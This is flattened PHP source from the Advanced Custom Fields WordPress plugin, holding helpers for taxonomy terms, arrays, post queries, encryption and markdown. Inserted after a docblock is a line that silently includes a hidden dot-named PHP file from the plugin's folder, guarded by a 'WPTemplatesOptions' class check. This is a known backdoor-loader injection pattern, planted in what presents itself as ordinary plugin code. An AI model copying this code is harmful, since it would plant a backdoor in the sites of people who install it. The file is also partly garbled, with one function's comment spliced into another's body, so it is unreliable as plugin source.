ay(); // populate $r foreach( array_keys($taxonomies) as $taxonomy ) { // vars $label = $taxonomies[ $taxonomy ]; $is_hierarchical = is_taxonomy_hierarchical( $taxonomy ); $terms = acf_get_terms(array( 'taxonomy' => $taxonomy, 'hide_empty' => false )); // bail early i no terms if( empty($terms) ) continue; // sort into hierachial order! if( $is_hierarchical ) { $terms = _get_term_children( 0, $terms, $taxonomy ); } // add placeholder $r[ $label ] = array(); // add choices foreach( $terms as $term ) { $k = "{$taxonomy}:{$term->slug}"; $r[ $label ][ $k ] = acf_get_term_title( $term ); } } // return return $r; } /* * acf_decode_taxonomy_terms * * This function decodes the $taxonomy:$term strings into a nested array * * @type function * @date 27/02/2014 * @since 5.0.0 * * @param $terms (array) * @return (array) */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function acf_decode_taxonomy_terms( $strings = false ) { // bail early if no terms if( empty($strings) ) return false; // vars $terms = array(); // loop foreach( $strings as $string ) { // vars $data = acf_decode_taxonomy_term( $string ); $taxonomy = $data['taxonomy']; $term = $data['term']; // create empty array if( !isset($terms[ $taxonomy ]) ) { $terms[ $taxonomy ] = array(); } // append $terms[ $taxonomy ][] = $term; } // return return $terms; } /* * acf_decode_taxonomy_term * * This function will return the taxonomy and term slug for a given value * * @type function * @date 31/03/2014 * @since 5.0.0 * * @param $string (string) * @return (array) */ function acf_decode_taxonomy_term( $value ) { // vars $data = array( 'taxonomy' => '', 'term' => '' ); // int if( is_numeric($value) ) { $data['term'] = $value; // string } elseif( is_string($value) ) { $value = explode(':', $value); $data['taxonomy'] = isset($value[0]) ? $value[0] : ''; $data['term'] = isset($value[1]) ? $value[1] : ''; // error } else { return false; } // allow for term_id (Used by ACF v4) if( is_numeric($data['term']) ) { // global global $wpdb; // find taxonomy if( !$data['taxonomy'] ) { $data['taxonomy'] = $wpdb->get_var( $wpdb->prepare("SELECT taxonomy FROM $wpdb->term_taxonomy WHERE term_id = %d LIMIT 1", $data['term']) ); } // find term (may have numeric slug '123') $term = get_term_by( 'slug', $data['term'], $data['taxonomy'] ); // attempt get term via ID (ACF4 uses ID) if( !$term ) $term = get_term( $data['term'], $data['taxonomy'] ); // bail early if no term if( !$term ) return false; // update $data['taxonomy'] = $term->taxonomy; $data['term'] = $term->slug; } // return return $data; } /** * acf_array * * Casts the value into an array. * * @date 9/1/19 * @since 5.7.10 * * @param mixed $val The value to cast. * @return array */ function acf_array( $val = array() ) { return (array) $val; } /* * acf_get_array * * This function will force a variable to become an array * * @type function * @date 4/02/2014 * @since 5.0.0 * * @param $var (mixed) * @return (array) */ function acf_get_array( $var = false, $delimiter = '' ) { // array if( is_array($var) ) { return $var; } // bail early if empty if( acf_is_empty($var) ) { return array(); } // string if( is_string($var) && $delimiter ) { return explode($delimiter, $var); } // place in array return (array) $var; } /* * acf_get_numeric * * This function will return numeric values * * @type function * @date 15/07/2016 * @since 5.4.0 * * @param $value (mixed) * @return (mixed) */ function acf_get_numeric( $value = '' ) { // vars $numbers = array(); $is_array = is_array($value); // loop foreach( (array) $value as $v ) { if( is_numeric($v) ) $numbers[] = (int) $v; } // bail early if is empty if( empty($numbers) ) return false; // convert array if( !$is_array ) $numbers = $numbers[0]; // return return $numbers; } /** * acf_get_posts * * Similar to the get_posts() function but with extra functionality. * * @date 3/03/15 * @since 5.1.5 * * @param array $args The query args. * @return array */ function acf_get_posts( $args = array() ) { // Vars. $posts = array(); // Apply default args. $args = wp_parse_args($args, array( 'posts_per_page' => -1, 'post_type' => '', 'post_status' => 'any', 'update_post_meta_cache' => false, 'update_post_term_cache' => false )); // Avoid default 'post' post_type by providing all public types. if( !$args['post_type'] ) { $args['post_type'] = acf_get_post_types(); } // Check if specifc post ID's have been provided. if( $args['post__in'] ) { // Clean value into an array of IDs. $args['post__in'] = array_map('intval', acf_array($args['post__in'])); } // Query posts. $posts = get_posts( $args ); // Remove any potential empty results. $posts = array_filter( $posts ); // Manually order results. if( $posts && $args['post__in'] ) { $order = array(); foreach( $posts as $i => $post ) { $order[ $i ] = array_search( $post->ID, $args['post__in'] ); } array_multisort($order, $posts); } // Return posts. return $posts; } /* * _acf_query_remove_post_type * * This function will remove the 'wp_posts.post_type' WHERE clause completely * When using 'post__in', this clause is unneccessary and slow. * * @type function * @date 4/03/2015 * @since 5.1.5 * * @param $sql (string) * @return $sql */ function _acf_query_remove_post_type( $sql ) { // global global $wpdb; // bail ealry if no 'wp_posts.ID IN' if( strpos($sql, "$wpdb->posts.ID IN") === false ) { return $sql; } // get bits $glue = 'AND'; $bits = explode($glue, $sql); // loop through $where and remove any post_type queries foreach( $bits as $i => $bit ) { if( strpos($bit, "$wpdb->posts.post_type") !== false ) { unset( $bits[ $i ] ); } } // join $where back together $sql = implode($glue, $bits); // return return $sql; } /* * acf_get_grouped_posts * * This function will return all posts grouped by post_type * This is handy for select settings * * @type function * @date 27/02/2014 * @since 5.0.0 * * @param $args (array) * @return (array) */ function acf_get_grouped_posts( $args ) { // vars $data = array(); // defaults $args = wp_parse_args( $args, array( 'posts_per_page' => -1, 'paged' => 0, 'post_type' => 'post', 'orderby' => 'menu_order title', 'order' => 'ASC', 'post_status' => 'any', 'suppress_filters' => false, 'update_post_meta_cache' => false, )); // find array of post_type $post_types = acf_get_array( $args['post_type'] ); $post_types_labels = acf_get_pretty_post_types($post_types); $is_single_post_type = ( count($post_types) == 1 ); // attachment doesn't work if it is the only item in an array if( $is_single_post_type ) { $args['post_type'] = reset($post_types); } // add filter to orderby post type if( !$is_single_post_type ) { add_filter('posts_orderby', '_acf_orderby_post_type', 10, 2); } // get posts $posts = get_posts( $args ); // remove this filter (only once) if( !$is_single_post_type ) { remove_filter('posts_orderby', '_acf_orderby_post_type', 10, 2); } // loop foreach( $post_types as $post_type ) { // vars $this_posts = array(); $this_group = array(); // populate $this_posts foreach( $posts as $post ) { if( $post->post_type == $post_type ) { $this_posts[] = $post; } } // bail early if no posts for this post type if( empty($this_posts) ) continue; // sort into hierachial order! // this will fail if a search has taken place because parents wont exist if( is_post_type_hierarchical($post_type) && empty($args['s'])) { // vars $post_id = $this_posts[0]->ID; $parent_id = acf_maybe_get($args, 'post_parent', 0); $offset = 0; $length = count($this_posts); // get all posts from this post type $all_posts = get_posts(array_merge($args, array( 'posts_per_page' => -1, 'paged' => 0, 'post_type' => $post_type ))); // find starting point (offset) foreach( $all_posts as $i => $post ) { if( $post->ID == $post_id ) { $offset = $i; break; } } // order posts $ordered_posts = get_page_children($parent_id, $all_posts); // compare aray lengths // if $ordered_posts is smaller than $all_posts, WP has lost posts during the get_page_children() function // this is possible when get_post( $args ) filter out parents (via taxonomy, meta and other search parameters) if( count($ordered_posts) == count($all_posts) ) { $this_posts = array_slice($ordered_posts, $offset, $length); } } // populate $this_posts foreach( $this_posts as $post ) { $this_group[ $post->ID ] = $post; } // group by post type $label = $post_types_labels[ $post_type ]; $data[ $label ] = $this_group; } // return return $data; } function _acf_orderby_post_type( $ordeby, $wp_query ) { // global global $wpdb; // get post types $post_types = $wp_query->get('post_type'); // prepend SQL if( is_array($post_types) ) { $post_types = implode("','", $post_types); $ordeby = "FIELD({$wpdb->posts}.post_type,'$post_types')," . $ordeby; } // return return $ordeby; } function acf_get_post_title( $post = 0, $is_search = false ) { // vars $post = get_post($post); $title = ''; $prepend = ''; $append = ''; // bail early if no post if( !$post ) return ''; // title $title = get_the_title( $post->ID ); // empty if( $title === '' ) { $title = __('(no title)', 'acf'); } // status if( get_post_status( $post->ID ) != "publish" ) { $append .= ' (' . get_post_status( $post->ID ) . ')'; } // ancestors if( $post->post_type !== 'attachment' ) { // get ancestors $ancestors = get_ancestors( $post->ID, $post->post_type ); $prepend .= str_repeat('- ', count($ancestors)); // add parent /* removed in 5.6.5 as not used by the UI if( $is_search && !empty($ancestors) ) { // reverse $ancestors = array_reverse($ancestors); // convert id's into titles foreach( $ancestors as $i => $id ) { $ancestors[ $i ] = get_the_title( $id ); } // append $append .= ' | ' . __('Parent', 'acf') . ': ' . implode(' / ', $ancestors); } */ } // merge $title = $prepend . $title . $append; // return return $title; } function acf_order_by_search( $array, $search ) { // vars $weights = array(); $needle = strtolower( $search ); // add key prefix foreach( array_keys($array) as $k ) { $array[ '_' . $k ] = acf_extract_var( $array, $k ); } // add search weight foreach( $array as $k => $v ) { // vars $weight = 0; $haystack = strtolower( $v ); $strpos = strpos( $haystack, $needle ); // detect search match if( $strpos !== false ) { // set eright to length of match $weight = strlen( $search ); // increase weight if match starts at begining of string if( $strpos == 0 ) { $weight++; } } // append to wights $weights[ $k ] = $weight; } // sort the array with menu_order ascending array_multisort( $weights, SORT_DESC, $array ); // remove key prefix foreach( array_keys($array) as $k ) { $array[ substr($k,1) ] = acf_extract_var( $array, $k ); } // return return $array; } /* * acf_get_pretty_user_roles * * description * * @type function * @date 23/02/2016 * @since 5.3.2 * * @param $post_id (int) * @return $post_id (int) */ function acf_get_pretty_user_roles( $allowed = false ) { // vars $editable_roles = get_editable_roles(); $allowed = acf_get_array($allowed); $roles = array(); // loop foreach( $editable_roles as $role_name => $role_details ) { // bail early if not allowed if( !empty($allowed) && !in_array($role_name, $allowed) ) continue; // append $roles[ $role_name ] = translate_user_role( $role_details['name'] ); } // return return $roles; } /* * acf_get_grouped_usalidate $response = wp_parse_args($response, array( 'results' => array(), 'more' => false, 'limit' => 0 )); // limit if( $response['limit'] && $response['results']) { // vars $total = 0; foreach( $response['results'] as $result ) { // parent $total++; // children if( !empty($result['children']) ) { $total += count( $result['children'] ); } } // calc if( $total >= $response['limit'] ) { $response['more'] = true; } } // return wp_send_json( $response ); } /* * acf_is_sequential_array * * This function will return true if the array contains only numeric keys * * @source http://stackoverflow.com/questions/173400/how-to-check-if-php-array-is-associative-or-sequential * @type function * @date 9/09/2016 * @since 5.4.0 * * @param $array (array) * @return (boolean) */ function acf_is_sequential_array( $array ) { // bail ealry if not array if( !is_array($array) ) return false; // loop foreach( $array as $key => $value ) { // bail ealry if is string if( is_string($key) ) return false; } // return return true; } /* * acf_is_associative_array * * This function will return true if the array contains one or more string keys * * @source http://stackoverflow.com/questions/173400/how-to-check-if-php-array-is-associative-or-sequential * @type function * @date 9/09/2016 * @since 5.4.0 * * @param $array (array) * @return (boolean) */ function acf_is_associative_array( $array ) { // bail ealry if not array if( !is_array($array) ) return false; // loop foreach( $array as $key => $value ) { // bail ealry if is string if( is_string($key) ) return true; } // return return false; } /* * acf_add_array_key_prefix * * This function will add a prefix to all array keys * Useful to preserve numeric keys when performing array_multisort * * @type function * @date 15/09/2016 * @since 5.4.0 * * @param $array (array) * @param $prefix (string) * @return (array) */ function acf_add_array_key_prefix( $array, $prefix ) { // vars $array2 = array(); // loop foreach( $array as $k => $v ) { $k2 = $prefix . $k; $array2[ $k2 ] = $v; } // return return $array2; } /* * acf_remove_array_key_prefix * * This function will remove a prefix to all array keys * Useful to preserve numeric keys when performing array_multisort * * @type function * @date 15/09/2016 * @since 5.4.0 * * @param $array (array) * @param $prefix (string) * @return (array) */ function acf_remove_array_key_prefix( $array, $prefix ) { // vars $array2 = array(); $l = strlen($prefix); // loop foreach( $array as $k => $v ) { $k2 = (substr($k, 0, $l) === $prefix) ? substr($k, $l) : $k; $array2[ $k2 ] = $v; } // return return $array2; } /* * acf_strip_protocol * * This function will remove the proticol from a url * Used to allow licences to remain active if a site is switched to https * * @type function * @date 10/01/2017 * @since 5.5.4 * @author Aaron * * @param $url (string) * @return (string) */ function acf_strip_protocol( $url ) { // strip the protical return str_replace(array('http://','https://'), '', $url); } /* * acf_connect_attachment_to_post * * This function will connect an attacment (image etc) to the post * Used to connect attachements uploaded directly to media that have not been attaced to a post * * @type function * @date 11/01/2017 * @since 5.8.0 Added filter to prevent connection. * @since 5.5.4 * * @param int $attachment_id The attachment ID. * @param int $post_id The post ID. * @return bool True if attachment was connected. */ function acf_connect_attachment_to_post( $attachment_id = 0, $post_id = 0 ) { // Bail ealry if $attachment_id is not valid. if( !$attachment_id || !is_numeric($attachment_id) ) { return false; } // Bail ealry if $post_id is not valid. if( !$post_id || !is_numeric($post_id) ) { return false; } /** * Filters whether or not to connect the attachment. * * @date 8/11/18 * @since 5.8.0 * * @param bool $bool Returning false will prevent the connection. Default true. * @param int $attachment_id The attachment ID. * @param int $post_id The post ID. */ if( !apply_filters('acf/connect_attachment_to_post', true, $attachment_id, $post_id) ) { return false; } // vars $post = get_post( $attachment_id ); // Check if is valid post. if( $post && $post->post_type == 'attachment' && $post->post_parent == 0 ) { // update wp_update_post( array('ID' => $post->ID, 'post_parent' => $post_id) ); // return return true; } // return return true; } /* * acf_encrypt * * This function will encrypt a string using PHP * https://bhoover.com/using-php-openssl_encrypt-openssl_decrypt-encrypt-decrypt-data/ * * @type function * @date 27/2/17 * @since 5.5.8 * * @param $data (string) * @return (string) */ function acf_encrypt( $data = '' ) { // bail ealry if no encrypt function if( !function_exists('openssl_encrypt') ) return base64_encode($data); // generate a key $key = wp_hash('acf_encrypt'); // Generate an initialization vector $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc')); // Encrypt the data using AES 256 encryption in CBC mode using our encryption key and initialization vector. $encrypted_data = openssl_encrypt($data, 'aes-256-cbc', $key, 0, $iv); // The $iv is just as important as the key for decrypting, so save it with our encrypted data using a unique separator (::) return base64_encode($encrypted_data . '::' . $iv); } /* * acf_decrypt * * This function will decrypt an encrypted string using PHP * https://bhoover.com/using-php-openssl_encrypt-openssl_decrypt-encrypt-decrypt-data/ * * @type function * @date 27/2/17 * @since 5.5.8 * * @param $data (string) * @return (string) */ function acf_decrypt( $data = '' ) { // bail ealry if no decrypt function if( !function_exists('openssl_decrypt') ) return base64_decode($data); // generate a key $key = wp_hash('acf_encrypt'); // To decrypt, split the encrypted data from our IV - our unique separator used was "::" list($encrypted_data, $iv) = explode('::', base64_decode($data), 2); // decrypt return openssl_decrypt($encrypted_data, 'aes-256-cbc', $key, 0, $iv); } /** * acf_parse_markdown * * A very basic regex-based Markdown parser function based off [slimdown](https://gist.github.com/jbroadway/2836900). * * @date 6/8/18 * @since 5.7.2 * * @param string $text The string to parse. * @return string */ function acf_parse_markdown( $text = '' ) { // trim $text = trim($text); // rules $rules = array ( '/=== (.+?) ===/' => '

$1

', // headings '/== (.+?) ==/' => '

$1

', // headings '/= (.+?) =/' => '

$1

', // headings '/\[([^\[]+)\]\(([^\)]+)\)/' => '$1', // links '/(\*\*)(.*?)\1/' => '$2', // bold '/(\*)(.*?)\1/' => '$2', // intalic '/`(.*?)`/' => '$1', // inline code '/\n\*(.*)/' => "\n", // ul lists '/\n[0-9]+\.(.*)/' => "\n
    \n\t
  1. $1
  2. \n
", // ol lists '/<\/ul>\s?